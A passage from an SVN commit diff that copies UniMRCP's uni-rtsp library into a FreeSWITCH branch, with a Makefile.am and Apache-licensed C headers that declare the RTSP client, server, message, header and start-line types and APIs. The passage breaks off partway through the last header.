+static apt_bool_t mrcp_server_agent_task_terminate(apt_task_t *task)
+{
+	apt_bool_t status = FALSE;
+	mrcp_connection_agent_t *agent = apt_task_object_get(task);
+	if(agent->pollset) {
+		connection_task_msg_t *msg = apr_pcalloc(agent->pool,sizeof(connection_task_msg_t));
+		msg->type = CONNECTION_TASK_MSG_TERMINATE;
+
+		apr_thread_mutex_lock(agent->guard);
+		status = apt_cyclic_queue_push(agent->msg_queue,msg);
+		apr_thread_mutex_unlock(agent->guard);
+		if(apt_pollset_wakeup(agent->pollset) == TRUE) {
+			status = TRUE;
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Signal Control Message");
+		}
+	}
+	return status;
+}

Copied: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/uni-rtsp)

Property changes: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp


Name: svn:ignore
   + Makefile.in
Makefile
Debug
Release
*.user
.deps

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/uni-rtsp/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,22 @@
+MAINTAINERCLEANFILES 	 = Makefile.in
+
+INCLUDES                 = -I$(top_srcdir)/libs/uni-rtsp/include \
+                           -I$(top_srcdir)/libs/apr-toolkit/include \
+                           $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES)
+
+noinst_LTLIBRARIES       = libunirtsp.la
+
+include_HEADERS          = include/rtsp.h \
+                           include/rtsp_header.h \
+                           include/rtsp_start_line.h \
+                           include/rtsp_message.h \
+                           include/rtsp_stream.h \
+                           include/rtsp_server.h \
+                           include/rtsp_client.h
+
+libunirtsp_la_SOURCES    = src/rtsp_header.c \
+                           src/rtsp_start_line.c \
+                           src/rtsp_message.c \
+                           src/rtsp_stream.c \
+                           src/rtsp_server.c \
+                           src/rtsp_client.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/uni-rtsp/include)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/uni-rtsp/include/rtsp.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,43 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __RTSP_H__
+#define __RTSP_H__
+
+/**
+ * @file rtsp.h
+ * @brief RTSP Core Definitions
+ */ 
+
+#include <apt.h>
+#include <apr_network_io.h>
+
+/** Library export/import defines */
+#ifdef WIN32
+#ifdef RTSP_STATIC_LIB
+#define RTSP_DECLARE(type)   type __stdcall
+#else
+#ifdef RTSP_LIB_EXPORT
+#define RTSP_DECLARE(type)   __declspec(dllexport) type __stdcall
+#else
+#define RTSP_DECLARE(type)   __declspec(dllimport) type __stdcall
+#endif
+#endif
+#else
+#define RTSP_DECLARE(type) type
+#endif
+
+#endif /*__RTSP_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_client.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_client.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/uni-rtsp/include/rtsp_client.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_client.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_client.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,149 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __RTSP_CLIENT_H__
+#define __RTSP_CLIENT_H__
+
+/**
+ * @file rtsp_client.h
+ * @brief RTSP Client
+ */ 
+
+#include "apt_task.h"
+#include "rtsp_message.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Opaque RTSP client declaration */
+typedef struct rtsp_client_t rtsp_client_t;
+/** Opaque RTSP client session declaration */
+typedef struct rtsp_client_session_t rtsp_client_session_t;
+
+/** RTSP client vtable declaration */
+typedef struct rtsp_client_vtable_t rtsp_client_vtable_t;
+
+/** RTSP client vtable */
+struct rtsp_client_vtable_t {
+	/** Sesssion termination response handler */
+	apt_bool_t (*on_session_terminate_response)(rtsp_client_t *client, rtsp_client_session_t *session);
+	/** Sesssion termination event handler */
+	apt_bool_t (*on_session_terminate_event)(rtsp_client_t *client, rtsp_client_session_t *session);
+	/** Sesssion setup response handler */
+	apt_bool_t (*on_session_response)(rtsp_client_t *client, rtsp_client_session_t *session, rtsp_message_t *request, rtsp_message_t *response);
+	/** Sesssion event handler */
+	apt_bool_t (*on_session_event)(rtsp_client_t *client, rtsp_client_session_t *session, rtsp_message_t *message);
+};
+
+/**
+ * Create RTSP client.
+ * @param max_connection_count the number of max RTSP connections
+ * @param obj the external object to send event to
+ * @param handler the response/event handler
+ * @param pool the pool to allocate memory from
+ */
+RTSP_DECLARE(rtsp_client_t*) rtsp_client_create(
+								apr_size_t max_connection_count,
+								void *obj,
+								const rtsp_client_vtable_t *handler,
+								apr_pool_t *pool);
+
+/**
+ * Destroy RTSP client.
+ * @param client the client to destroy
+ */
+RTSP_DECLARE(apt_bool_t) rtsp_client_destroy(rtsp_client_t *client);
+
+/**
+ * Start client and wait for incoming requests.
+ * @param client the client to start
+ */
+RTSP_DECLARE(apt_bool_t) rtsp_client_start(rtsp_client_t *client);
+
+/**
+ * Terminate client.
+ * @param client the client to terminate
+ */
+RTSP_DECLARE(apt_bool_t) rtsp_client_terminate(rtsp_client_t *client);
+
+/**
+ * Get task.
+ * @param client the client to get task from
+ */
+RTSP_DECLARE(apt_task_t*) rtsp_client_task_get(rtsp_client_t *client);
+
+/**
+ * Get external object.
+ * @param client the client to get object from
+ */
+RTSP_DECLARE(void*) rtsp_client_object_get(rtsp_client_t *client);
+
+
+/**
+ * Create RTSP session.
+ * @param client the client to create session for
+ * @param server_ip the IP address of RTSP server
+ * @param server_port the port of RTSP server
+ * @param resource_location the location of RTSP resource (path in RTSP URI)
+ */
+RTSP_DECLARE(rtsp_client_session_t*) rtsp_client_session_create(
+											rtsp_client_t *client, 
+											const char *server_ip, 
+											apr_port_t server_port,
+											const char *resource_location);
+
+/**
+ * Destroy RTSP session.
+ * @param session the session to destroy
+ */
+RTSP_DECLARE(void) rtsp_client_session_destroy(rtsp_client_session_t *session);
+
+/**
+ * Terminate RTSP session.
+ * @param client the client to use
+ * @param session the session to terminate
+ */
+RTSP_DECLARE(apt_bool_t) rtsp_client_session_terminate(rtsp_client_t *client, rtsp_client_session_t *session);
+
+/**
+ * Send RTSP message.
+ * @param client the client to use
+ * @param session the session to send RTSP request for
+ * @param message the RTSP request to send
+ */
+RTSP_DECLARE(apt_bool_t) rtsp_client_session_request(rtsp_client_t *client, rtsp_client_session_t *session, rtsp_message_t *message);
+
+/**
+ * Get object associated with the session.
+ * @param session the session to get object from
+ */
+RTSP_DECLARE(void*) rtsp_client_session_object_get(const rtsp_client_session_t *session);
+
+/**
+ * Set object associated with the session.
+ * @param session the session to set object for
+ * @param obj the object to set
+ */
+RTSP_DECLARE(void) rtsp_client_session_object_set(rtsp_client_session_t *session, void *obj);
+
+/**
+ * Get the session identifier.
+ * @param session the session to get identifier from
+ */
+RTSP_DECLARE(const apt_str_t*) rtsp_client_session_id_get(const rtsp_client_session_t *session);
+
+APT_END_EXTERN_C
+
+#endif /*__RTSP_CLIENT_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_header.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_header.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/uni-rtsp/include/rtsp_header.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_header.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_header.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,228 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __RTSP_HEADER_H__
+#define __RTSP_HEADER_H__
+
+/**
+ * @file rtsp_header.h
+ * @brief RTSP Header
+ */ 
+
+#include "rtsp.h"
+#include "apt_text_stream.h"
+
+APT_BEGIN_EXTERN_C
+
+/** RTSP transport protocol */
+typedef enum{
+	RTSP_TRANSPORT_RTP,
+
+	RTSP_TRANSPORT_COUNT,
+	RTSP_TRANSPORT_NONE = RTSP_TRANSPORT_COUNT
+} rtsp_transport_e;
+
+/** RTSP transport profile */
+typedef enum{
+	RTSP_PROFILE_AVP,
+	RTSP_PROFILE_SAVP,
+
+	RTSP_PROFILE_COUNT,
+	RTSP_PROFILE_NONE = RTSP_PROFILE_COUNT
+} rtsp_profile_e;
+
+/** RTSP lower-transport */
+typedef enum{
+	RTSP_LOWER_TRANSPORT_UDP,
+	RTSP_LOWER_TRANSPORT_TCP,
+
+	RTSP_LOWER_TRANSPORT_COUNT,
+	RTSP_LOWER_TRANSPORT_NONE = RTSP_LOWER_TRANSPORT_COUNT
+} rtsp_lower_transport_e;
+
+/** RTSP transport attributes */
+typedef enum{
+	RTSP_TRANSPORT_ATTRIB_CLIENT_PORT,
+	RTSP_TRANSPORT_ATTRIB_SERVER_PORT,
+	RTSP_TRANSPORT_ATTRIB_SOURCE,
+	RTSP_TRANSPORT_ATTRIB_DESTINATION,
+	RTSP_TRANSPORT_ATTRIB_UNICAST,
+	RTSP_TRANSPORT_ATTRIB_MULTICAST,
+
+	RTSP_TRANSPORT_ATTRIB_COUNT,
+	RTSP_TRANSPORT_ATTRIB_NONE = RTSP_TRANSPORT_ATTRIB_COUNT
+} rtsp_transport_attrib_e;
+
+/** RTSP delivery */
+typedef enum{
+	RTSP_DELIVERY_UNICAST,
+	RTSP_DELIVERY_MULTICAST,
+
+	RTSP_DELIVERY_COUNT,
+	RTSP_DELIVERY_NONE = RTSP_DELIVERY_COUNT
+} rtsp_delivery_e;
+
+/** RTSP header fields */
+typedef enum{
+	RTSP_HEADER_FIELD_CSEQ,
+	RTSP_HEADER_FIELD_TRANSPORT,
+	RTSP_HEADER_FIELD_SESSION_ID,
+	RTSP_HEADER_FIELD_RTP_INFO,
+	RTSP_HEADER_FIELD_CONTENT_TYPE,
+	RTSP_HEADER_FIELD_CONTENT_LENGTH,
+
+	RTSP_HEADER_FIELD_COUNT,
+	RTSP_HEADER_FIELD_UNKNOWN = RTSP_HEADER_FIELD_COUNT
+} rtsp_header_field_id;
+
+/** RTSP content types */
+typedef enum {
+	RTSP_CONTENT_TYPE_SDP,
+	RTSP_CONTENT_TYPE_MRCP,
+
+	RTSP_CONTENT_TYPE_COUNT,
+	RTSP_CONTENT_TYPE_NONE = RTSP_CONTENT_TYPE_COUNT
+} rtsp_content_type_e;
+
+
+/** Bit field masks are used to define property set */
+typedef int rtsp_header_property_t;
+
+
+/** RTSP/RTP port range declaration */
+typedef struct rtsp_port_range_t rtsp_port_range_t;
+/** RTSP transport declaration */
+typedef struct rtsp_transport_t rtsp_transport_t;
+/** RTSP header declaration */
+typedef struct rtsp_header_t rtsp_header_t;
+
+/** RTSP/RTP port range */
+struct rtsp_port_range_t {
+	/** Min (low) port */
+	apr_port_t min;
+	/** Max (high) port */
+	apr_port_t max;
+};
+
+/** RTSP transport */
+struct rtsp_transport_t {
+	/** Transport profile */
+	rtsp_transport_e         protocol;
+	/** Transport profile */
+	rtsp_profile_e           profile;
+	/** Lower transport */
+	rtsp_lower_transport_e   lower_protocol;
+	/** Delivery method */
+	rtsp_delivery_e          delivery;
+	/** Client port range */
+	rtsp_port_range_t        client_port_range;
+	/** Server port range */
+	rtsp_port_range_t        server_port_range;
+	/** Source IP address */
+	apt_str_t                source;
+	/** Destination IP address */
+	apt_str_t                destination;
+};
+
+/** RTSP header */
+struct rtsp_header_t {
+	/** Sequence number */
+	apr_size_t             cseq;
+	/** Transport */
+	rtsp_transport_t       transport; 
+	/** Session identifier */
+	apt_str_t              session_id;
+	/** RTP-info */
+	apt_str_t              rtp_info;
+
+	/** Content type */
+	rtsp_content_type_e    content_type;
+	/** Content length */
+	apr_size_t             content_length;
+
+	/** Property set */
+	rtsp_header_property_t property_set;
+};
+
+
+/** Initialize port range */
+static APR_INLINE void rtsp_port_range_init(rtsp_port_range_t *port_range)
+{
+	port_range->min = 0;
+	port_range->max = 0;
+}
+
+/** Initialize port range */
+static APR_INLINE apt_bool_t rtsp_port_range_is_valid(const rtsp_port_range_t *port_range)
+{
+	return (port_range->min == 0 && port_range->max == 0) == FALSE;
+}
+
+/** Initialize transport */
+static APR_INLINE void rtsp_transport_init(rtsp_transport_t *transport)
+{
+	transport->protocol = RTSP_TRANSPORT_RTP;
+	transport->profile = RTSP_PROFILE_NONE;
+	transport->lower_protocol = RTSP_LOWER_TRANSPORT_NONE;
+	rtsp_port_range_init(&transport->client_port_range);
+	rtsp_port_range_init(&transport->server_port_range);
+	apt_string_reset(&transport->source);
+	apt_string_reset(&transport->destination);
+}
+
+/** Initialize header */
+static APR_INLINE void rtsp_header_init(rtsp_header_t *header)
+{
+	header->cseq = 0;
+	rtsp_transport_init(&header->transport);
+	apt_string_reset(&header->session_id);
+	apt_string_reset(&header->rtp_info);
+	header->content_type = RTSP_CONTENT_TYPE_NONE;
+	header->content_length = 0;
+	header->property_set = 0;
+}
+
+/** Parse RTSP message */
+RTSP_DECLARE(apt_bool_t) rtsp_header_parse(rtsp_header_t *header, apt_text_stream_t *text_stream, apr_pool_t *pool);
+/** Generate RTSP message */
+RTSP_DECLARE(apt_bool_t) rtsp_header_generate(rtsp_header_t *header, apt_text_stream_t *text_stream);
+
+
+
+/** Add property to property set */
+static APR_INLINE void rtsp_header_property_add(rtsp_header_property_t *property_set, apr_size_t id)
+{
+	int mask = 1 << id;
+	*property_set |= mask;
+}
+
+/** Remove property from property set */
+static APR_INLINE void rtsp_header_property_remove(rtsp_header_property_t *property_set, apr_size_t id)
+{
+	int mask = 1 << id;
+	*property_set &= ~mask;
+}
+
+/** Check property in property set */
+static APR_INLINE apt_bool_t rtsp_header_property_check(const rtsp_header_property_t *property_set, apr_size_t id)
+{
+	int mask = 1 << id;
+	return ((*property_set & mask) == mask) ? TRUE : FALSE;
+}
+
+APT_END_EXTERN_C
+
+#endif /*__RTSP_HEADER_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_message.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_message.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/uni-rtsp/include/rtsp_message.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_message.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_message.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,76 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __RTSP_MESSAGE_H__
+#define __RTSP_MESSAGE_H__
+
+/**
+ * @file rtsp_message.h
+ * @brief RTSP Message Definition
+ */ 
+
+#include "rtsp_start_line.h"
+#include "rtsp_header.h"
+
+APT_BEGIN_EXTERN_C
+
+/** RTSP message declaration */
+typedef struct rtsp_message_t rtsp_message_t;
+
+/** RTSP message */
+struct rtsp_message_t {
+	/** RTSP mesage type (request/response) */
+	rtsp_start_line_t start_line;     
+	/** RTSP header */
+	rtsp_header_t     header;
+	/** RTSP message body */
+	apt_str_t         body;
+
+	/** Pool to allocate memory from */
+	apr_pool_t       *pool;
+};
+
+/** 
+ * Create RTSP message.
+ * @param message_type the message type
+ * @param pool the pool to allocate memory from
+ */
+RTSP_DECLARE(rtsp_message_t*) rtsp_message_create(rtsp_message_type_e message_type, apr_pool_t *pool);
+
+/** 
+ * Create RTSP request message.
+ * @param pool the pool to allocate memory from
+ */
+RTSP_DECLARE(rtsp_message_t*) rtsp_request_create(apr_pool_t *pool);
+
+/** 
+ * Create RTSP response message.
+ * @param request the request to create response to
+ * @param status_code the status code of the response
+ * @param reason the reason phrase id of the response
+ * @param pool the pool to allocate memory from
+ */
+RTSP_DECLARE(rtsp_message_t*) rtsp_response_create(const rtsp_message_t *request, rtsp_status_code_e status_code, rtsp_reason_phrase_e reason, apr_pool_t *pool);
+
+/** 
+ * Destroy RTSP message 
+ * @param message the message to destroy
+ */
+RTSP_DECLARE(void) rtsp_message_destroy(rtsp_message_t *message);
+
+APT_END_EXTERN_C
+
+#endif /*__RTSP_MESSAGE_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_server.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_server.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/uni-rtsp/include/rtsp_server.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_server.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_server.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,143 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __RTSP_SERVER_H__
+#define __RTSP_SERVER_H__
+
+/**
+ * @file rtsp_server.h
+ * @brief RTSP Server
+ */ 
+
+#include "apt_task.h"
+#include "rtsp_message.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Opaque RTSP server declaration */
+typedef struct rtsp_server_t rtsp_server_t;
+/** Opaque RTSP server session declaration */
+typedef struct rtsp_server_session_t rtsp_server_session_t;
+
+/** RTSP server vtable declaration */
+typedef struct rtsp_server_vtable_t rtsp_server_vtable_t;
+
+/** RTSP server vtable declaration */
+struct rtsp_server_vtable_t {
+	/** Virtual create session */
+	apt_bool_t (*create_session)(rtsp_server_t *server, rtsp_server_session_t *session);
+	/** Virtual terminate session */
+	apt_bool_t (*terminate_session)(rtsp_server_t *server, rtsp_server_session_t *session);
+	/** Virtual message handler */
+	apt_bool_t (*handle_message)(rtsp_server_t *server, rtsp_server_session_t *session, rtsp_message_t *message);
+};
+
+/**
+ * Create RTSP server.
+ * @param listen_ip the listen IP address
+ * @param listen_port the listen port
+ * @param max_connection_count the number of max RTSP connections
+ * @param obj the external object to send events to
+ * @param handler the request handler
+ * @param pool the pool to allocate memory from
+ */
+RTSP_DECLARE(rtsp_server_t*) rtsp_server_create(
+								const char *listen_ip, 
+								apr_port_t listen_port, 
+								apr_size_t max_connection_count,
+								void *obj,
+								const rtsp_server_vtable_t *handler,
+								apr_pool_t *pool);
+
+/**
+ * Destroy RTSP server.
+ * @param server the server to destroy
+ */
+RTSP_DECLARE(apt_bool_t) rtsp_server_destroy(rtsp_server_t *server);
+
+/**
+ * Start server and wait for incoming requests.
+ * @param server the server to start
+ */
+RTSP_DECLARE(apt_bool_t) rtsp_server_start(rtsp_server_t *server);
+
+/**
+ * Terminate server.
+ * @param server the server to terminate
+ */
+RTSP_DECLARE(apt_bool_t) rtsp_server_terminate(rtsp_server_t *server);
+
+/**
+ * Get task.
+ * @param server the server to get task from
+ */
+RTSP_DECLARE(apt_task_t*) rtsp_server_task_get(rtsp_server_t *server);
+
+/**
+ * Get external object.
+ * @param server the server to get object from
+ */
+RTSP_DECLARE(void*) rtsp_server_object_get(rtsp_server_t *server);
+
+/**
+ * Send RTSP message.
+ * @param server the server to use
+ * @param session the session to send RTSP response for
+ * @param message the RTSP response to send
+ */
+RTSP_DECLARE(apt_bool_t) rtsp_server_session_respond(rtsp_server_t *server, rtsp_server_session_t *session, rtsp_message_t *message);
+
+/**
+ * Terminate RTSP session (respond to terminate request).
+ * @param server the server to use
+ * @param session the session to terminate
+ */
+RTSP_DECLARE(apt_bool_t) rtsp_server_session_terminate(rtsp_server_t *server, rtsp_server_session_t *session);
+
+/**
+ * Get object associated with the session.
+ * @param session the session to get object from
+ */
+RTSP_DECLARE(void*) rtsp_server_session_object_get(const rtsp_server_session_t *session);
+
+/**
+ * Set object associated with the session.
+ * @param session the session to set object for
+ * @param obj the object to set
+ */
+RTSP_DECLARE(void) rtsp_server_session_object_set(rtsp_server_session_t *session, void *obj);
+
+/**
+ * Get the session identifier.
+ * @param session the session to get identifier from
+ */
+RTSP_DECLARE(const apt_str_t*) rtsp_server_session_id_get(const rtsp_server_session_t *session);
+
+/**
+ * Get active (in-progress) session request.
+ * @param session the session to get from
+ */
+RTSP_DECLARE(const rtsp_message_t*) rtsp_server_session_request_get(const rtsp_server_session_t *session);
+
+/**
+ * Get the session destination (client) ip address.
+ * @param session the session to get ip address from
+ */
+RTSP_DECLARE(const char*) rtsp_server_session_destination_get(const rtsp_server_session_t *session);
+
+APT_END_EXTERN_C
+
+#endif /*__RTSP_SERVER_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_start_line.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_start_line.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/uni-rtsp/include/rtsp_start_line.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_start_line.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/include/rtsp_start_line.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,175 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __RTSP_START_LINE_H__
+#define __RTSP_START_LINE_H__
+
+/**
+ * @file rtsp_start_line.h
+ * @brief RTSP Start Line (request-line/status-line)
+ */ 
+
+#include "rtsp.h"
+#include "apt_text_stream.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Protocol version */
+typedef enum {
+	/** Unknown version */
+	RTSP_VERSION_UNKNOWN = 0, 
+	/** RTSP 1.0 */
+	RTSP_VERSION_1 = 1, 
+} rtsp_version_e;
+
+/** RTSP message types */
+typedef enum {
+	RTSP_MESSAGE_TYPE_UNKNOWN,
+	RTSP_MESSAGE_TYPE_REQUEST,
+	RTSP_MESSAGE_TYPE_RESPONSE
+} rtsp_message_type_e;
+
+/** RTSP methods */
+typedef enum{
+	RTSP_METHOD_SETUP,
+	RTSP_METHOD_ANNOUNCE,
+	RTSP_METHOD_TEARDOWN,
+	RTSP_METHOD_DESCRIBE,
+
+	RTSP_METHOD_COUNT,
+	RTSP_METHOD_UNKNOWN = RTSP_METHOD_COUNT
+} rtsp_method_id;
+
+/** Status codes */
+typedef enum {
+	RTSP_STATUS_CODE_UNKNOWN                   = 0,
+	/** Success codes (2xx) */
+	RTSP_STATUS_CODE_OK                        = 200,
+	RTSP_STATUS_CODE_CREATED                   = 201,
+	/** Failure codec (4xx) */
+	RTSP_STATUS_CODE_BAD_REQUEST               = 400,
+	RTSP_STATUS_CODE_UNAUTHORIZED              = 401,
+	RTSP_STATUS_CODE_NOT_FOUND                 = 404,
+	RTSP_STATUS_CODE_METHOD_NOT_ALLOWED        = 405,
+	RTSP_STATUS_CODE_NOT_ACCEPTABLE            = 406,
+	RTSP_STATUS_CODE_SESSION_NOT_FOUND         = 454,
+
+	RTSP_STATUS_CODE_INTERNAL_SERVER_ERROR     = 500,
+	RTSP_STATUS_CODE_NOT_IMPLEMENTED           = 501,
+} rtsp_status_code_e;
+
+/** Reason phrases */
+typedef enum {
+	RTSP_REASON_PHRASE_OK,
+	RTSP_REASON_PHRASE_CREATED,
+	RTSP_REASON_PHRASE_BAD_REQUEST,
+	RTSP_REASON_PHRASE_UNAUTHORIZED,
+	RTSP_REASON_PHRASE_NOT_FOUND,
+	RTSP_REASON_PHRASE_METHOD_NOT_ALLOWED,
+	RTSP_REASON_PHRASE_NOT_ACCEPTABLE,
+	RTSP_REASON_PHRASE_SESSION_NOT_FOUND,
+	RTSP_REASON_PHRASE_INTERNAL_SERVER_ERROR,
+	RTSP_REASON_PHRASE_NOT_IMPLEMENTED,
+	RTSP_REASON_PHRASE_COUNT,
+
+	/** Unknown reason phrase */
+	RTSP_REASON_PHRASE_UNKNOWN = RTSP_REASON_PHRASE_COUNT
+} rtsp_reason_phrase_e;
+
+
+/** RTSP request-line declaration */
+typedef struct rtsp_request_line_t rtsp_request_line_t;
+/** RTSP status-line declaration */
+typedef struct rtsp_status_line_t rtsp_status_line_t;
+/** RTSP start-line declaration */
+typedef struct rtsp_start_line_t rtsp_start_line_t;
+
+/** RTSP request-line */
+struct rtsp_request_line_t {
+	/** Method name */
+	apt_str_t      method_name;
+	/** Method id */
+	rtsp_method_id method_id;
+	/** RTSP URL */
+	apt_str_t      url;
+	/** Resource name parsed from RTSP URL */
+	const char    *resource_name;
+	/** Version of protocol in use */
+	rtsp_version_e version;
+};
+
+/** RTSP status-line */
+struct rtsp_status_line_t {
+	/** Version of protocol in use */
+	rtsp_version_e     version;
+	/** success or failure or other status of the request */
+	rtsp_status_code_e status_code;
+	/** Reason phrase */
+	apt_str_t          reason;
+};
+
+/** RTSP start-line */
+struct rtsp_start_line_t {
+	/** RTSP message type */
+	rtsp_message_type_e     message_type;
+	/** RTSP start-line */
+	union {
+		rtsp_request_line_t request_line;
+		rtsp_status_line_t  status_line;
+	} common;
+};
+
+
+static APR_INLINE void rtsp_request_line_init(rtsp_request_line_t *request_line)
+{
+	apt_string_reset(&request_line->method_name);
+	request_line->method_id = RTSP_METHOD_UNKNOWN;
+	apt_string_reset(&request_line->url);
+	request_line->resource_name = NULL;
+	request_line->version = RTSP_VERSION_1;
+}
+
+static APR_INLINE void rtsp_status_line_init(rtsp_status_line_t *status_line)
+{
+	status_line->version = RTSP_VERSION_1;
+	status_line->status_code = RTSP_STATUS_CODE_OK;
+	apt_string_reset(&status_line->reason);
+}
+
+/** Initialize RTSP start-line */
+static APR_INLINE void rtsp_start_line_init(rtsp_start_line_t *start_line, rtsp_message_type_e message_type)
+{
+	start_line->message_type = message_type;
+	if(message_type == RTSP_MESSAGE_TYPE_REQUEST) {
+		rtsp_request_line_init(&start_line->common.request_line);
+	}
+	else if(message_type == RTSP_MESSAGE_TYPE_RESPONSE) {
+		rtsp_status_line_init(&start_line->common.status_line);
+	}
+}
+
+/** Parse RTSP start-line */
